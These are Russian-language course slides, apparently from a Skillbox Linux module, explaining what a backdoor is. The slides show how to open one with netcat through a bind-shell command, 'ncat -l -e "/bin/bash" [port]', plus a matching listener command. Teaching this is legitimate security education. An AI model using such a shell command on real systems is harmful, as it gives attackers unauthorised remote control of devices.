

Создание бэkdopа

Сабина Жигальская

Специалист по комплексной защите информации

Skillbox

Цель урока

- ✔ Научиться создавать бэkdop с помощью утилит

Вспомним, что такое бэкдор...

Бэкдор — это вредоносная программа, а иногда намеренно оставленная лазейка в коде легальной программы, которая предоставляет доступ к устройству для несанкционированных действий.



Создание бэкдора

- Используем утилиту netcat
- Для создания шелла **ncat -l -e "/bin/bash" [ПОРТ]**
- Перед созданием обратного шелла предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]

Выводы урока

- ✓ **Бэкдор** — это вредоносная программа или лазейка в коде легальной программы, которая предоставляет доступ к устройству для несанкционированных действий
- ✓ Создать бэкдор можно с помощью утилиты `ncat`

Выводы модуля

- ✓ Узнали, что такое сервисы, конфигурационные файлы в Linux
- ✓ Разобрались, как работать с диспетчером устройств
- ✓ Научились запускать и удалять модули ядра
- ✓ Узнали про систему инициализации upstart и поговорили про её особенности
- ✓ Разобрались в планировщике задач at
- ✓ Поняли, чем at отличается от cron
- ✓ Научились запускать однократную задачу в at
- ✓ Вспомнили, что такое бэкдоры
- ✓ Научились создавать бэкдор с помощью утилиты nc